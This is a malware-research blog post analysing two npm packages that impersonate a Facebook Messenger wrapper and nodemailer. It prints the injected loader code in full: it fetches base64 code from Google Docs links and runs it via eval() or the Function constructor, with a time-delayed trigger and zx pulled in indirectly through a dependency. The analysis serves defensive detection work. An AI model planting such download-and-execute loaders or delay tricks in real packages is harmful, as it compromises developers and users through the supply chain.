Hide and Fail: Obfuscated Malware, Empty Payloads, and npm Shenanigans

Charlie Eriksen

4 min read

Malware

‍

On March 14th 2025, we detected a malicious package on npm called node-facebook-messenger-api. At first, it seemed to be pretty run-of-the-mill malware, though we couldn’t tell what the end-goal was. We didn’t think much more of it until April 3rd 2025, when we see the same threat actor expand their attack. This is a brief overview of the techniques used by this specific attacker, and some fun observations about how their attempts at obfuscation actually ends up making them be even more obvious.

‍

TLDR

🕵️ On March 14, 2025, we detected a malicious npm package: node-facebook-messenger-api@4.1.0, disguised as a legit Facebook messenger wrapper.

🧪 The attacker hid remote code execution logic using axios and eval() to pull a payload from a Google Docs link — but the file was empty.

🔁 Later versions used time-delayed execution and swapped in the zx library to avoid detection, embedding malicious logic that triggers days after publish.

📦 On April 3, 2025, the same threat actor released a second fake package: node-smtp-mailer@6.10.0, impersonating nodemailer, with the same C2 logic and obfuscation.

🧬 Both packages used the same unique dependency set (including hyper-types), revealing a clear signature pattern linking the attacks.

💀 The attacker’s obfuscation attempts — like hiding code in large files and silently pulling in zx via another dependency — ironically made the campaign easier to spot.

🚨 The payloads never actually delivered anything functional, but the TTPs are real and show how supply chain attacks on npm are evolving.

‍

First steps

It all started on March 14th at 04:37 UTC, when our systems alerted us to a suspicious package. It was published by the user victor.ben0825, who also claims to have the name perusworld. This is the username of the user who owns the legitimate repository for this library.

‍

Here’s the code it detected as being malicious in node-facebook-messenger-api@4.1.0:, in the file messenger.js, line 157-177:

const axios = require('axios');

const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 

async function downloadFile(url) {
    try {
        const response = await axios.get(url, {
            responseType: 'arraybuffer'
        });

        const fileBuffer = Buffer.from(response.data);
		eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
        
        return fileBuffer; 
    } catch (error) {
        console.error('Download failed:', error.message);
    }
}

downloadFile(url);

The attacker has tried to hide this code within a 769 lines long file, which is a big class. Here they’ve added a function, and are calling it directly. Very cute, but very obvious too. We attempted to fetch the payload, but it was empty. We flagged it as malware and moved on.

A few minutes later, the attacker pushed another version, 4.1.1. The only change appeared to be in the README.md and package.json files, where they changed the version, description, and installation instructions. Because we mark the author as a bad author, packages from this point on were automatically flagged as malware.

Trying to be sneaky

Then, on March 20th 2025 at 16:29 UTC, our system automatically flagged version 4.1.2 of the package. Let's look at what was new there. The first change is in node-facebook-messenger-api.js, which contains:

"use strict";

module.exports = {
    messenger: function () {
        return require('./messenger');
    },
    accountlinkHandler: function () {
        return require('./account-link-handler');
    },
    webhookHandler: function () {
        return require('./webhook-handler');
    }
};

var messengerapi = require('./messenger');

The change to this file is the last line. It’s not just importing the messenger.js file when requested, it’s always done when the module is imported. Clever! The other change is to that file, messenger.js. It has removed the previously seen added code, and added the following on lines 197 to 219:

const timePublish = "2025-03-24 23:59:25"; 
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;

if (delay <= 0) {
	async function setProfile(ft) {
		try {
			const mod = await import('zx');
			mod.$.verbose = false;
			const res = await mod.fetch(ft, {redirect: 'follow'});
			const fileBuffer = await res.arrayBuffer();
			const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
			const nfu = new Function("rqr", data);
			nfu(require)();
		} catch (error) {
			//console.error('err:', error.message);
		}
	}

	const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
	setProfile(gd);
}

Here’s an overview of what it does:

It utilizes a time-based check to determine whether to activate the malicious code. It would only activate about 4 days later.
Instead of using axios, it now uses Google zx library to fetch the malicious payload.
It disables verbose mode, which is also the default.
It then fetches the malicious code
It base64 decodes it
It creates a new Function using the Function() constructor, which is effectively equivalent to an eval() call.
It then calls the function, passing in require as an argument.

‍

But again, when we try to fetch the file, we don’t get a payload. We just get an empty file called info.txt. The use of zx is curious. We looked at the dependencies, and noticed that the original package contained a few dependencies:

 "dependencies": {
    "async": "^3.2.2",
    "debug": "^3.1.0",
    "merge": "^2.1.1",
    "request": "^2.81.0"
  }

The malicious package contains the following:

 "dependencies": {
    "async": "^3.2.2",
    "debug": "^3.1.0",
    "hyper-types": "^0.0.2",
    "merge": "^2.1.1",
    "request": "^2.81.0"
  }

Look at that, they added the dependency hyper-types. Very interesting, we will return to this a few times more.

They strike again!

Then on April 3rd 2025 at 06:46, a new package was released by the user cristr. They released the package node-smtp-mailer@6.10.0. Our systems automatically flagged it due to containing potentially malicious code. We looked at it, and we got a bit excited. The package pretends to be nodemailer, just with a different name.

Our system flagged the file lib/smtp-pool/index.js. We quickly see that the attacker has added code at the bottom of the legitimate file, right before the final module.exports. Here is what is added:

const timePublish = "2025-04-07 15:30:00"; 
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;

if (delay <= 0) {
    async function SMTPConfig(conf) {
        try {
            const mod = await import('zx');
            mod.$.verbose = false;
            const res = await mod.fetch(conf, {redirect: 'follow'});
            const fileBuffer = await res.arrayBuffer();
            const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
            const nfu = new Function("rqr", data);
            nfu(require)();
        } catch (error) {
            console.error('err:', error.message);
        }
    }

    const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR'; 
    SMTPConfig(url);
}

We know this code! It’s again timestamped to only execute 4 days later. We excitedly tried to fetch the payload, but we just received an empty file called beginner.txt. Booo! We look at the dependencies again, to see how they are pulling in zx. We noted that the legitimate nodemailer package has no direct dependencies, only devDependencies. But here’s what is in the malicious package:

 "dependencies": {
    "async": "^3.2.2",
    "debug": "^3.1.0",
    "hyper-types": "^0.0.2",
    "merge": "^2.1.1",
    "request": "^2.81.0"
  }

Do you see a similarity between this, and the first package we detected? It’s the same dependency list. The legitimate package has no dependencies, but the malicious one does. The attacker simply copied the full list of dependencies from the first attack to this one.

‍

Interesting dependencies

So why did they switch from using axios to zx for making HTTP requests? Definitely for avoiding detection. But what’s interesting is that zx isn’t a direct dependency. Instead, the attacker has included hyper-types, which is a legitimate package by the developer lukasbach.

‍

Besides the fact that the referenced repository doesn’t exist anymore, there’s something interesting to note here. See how there’s 2 dependents? Guess who those are.

‍

If the attacker had actually wanted to try to obfuscate their activity, it’s pretty dumb to depend on a package that they are the only dependsants on.

Final words

While the attacker behind these npm packages ultimately failed to deliver a working payload, their campaign highlights the ongoing evolution of supply chain threats targeting the JavaScript ecosystem. The use of delayed execution, indirect imports, and dependency hijacking shows a growing awareness of detection mechanisms—and a willingness to experiment. But it also shows how sloppy operational security and repeated patterns can still give them away. As defenders, it's a reminder that even failed attacks are valuable intelligence. Every artifact, obfuscation trick, and reused dependency helps us build better detection and attribution capabilities. And most importantly, it reinforces why continuous monitoring and automated flagging of public package registries is no longer optional—it's critical.

Written by Charlie Eriksen

Malware Researcher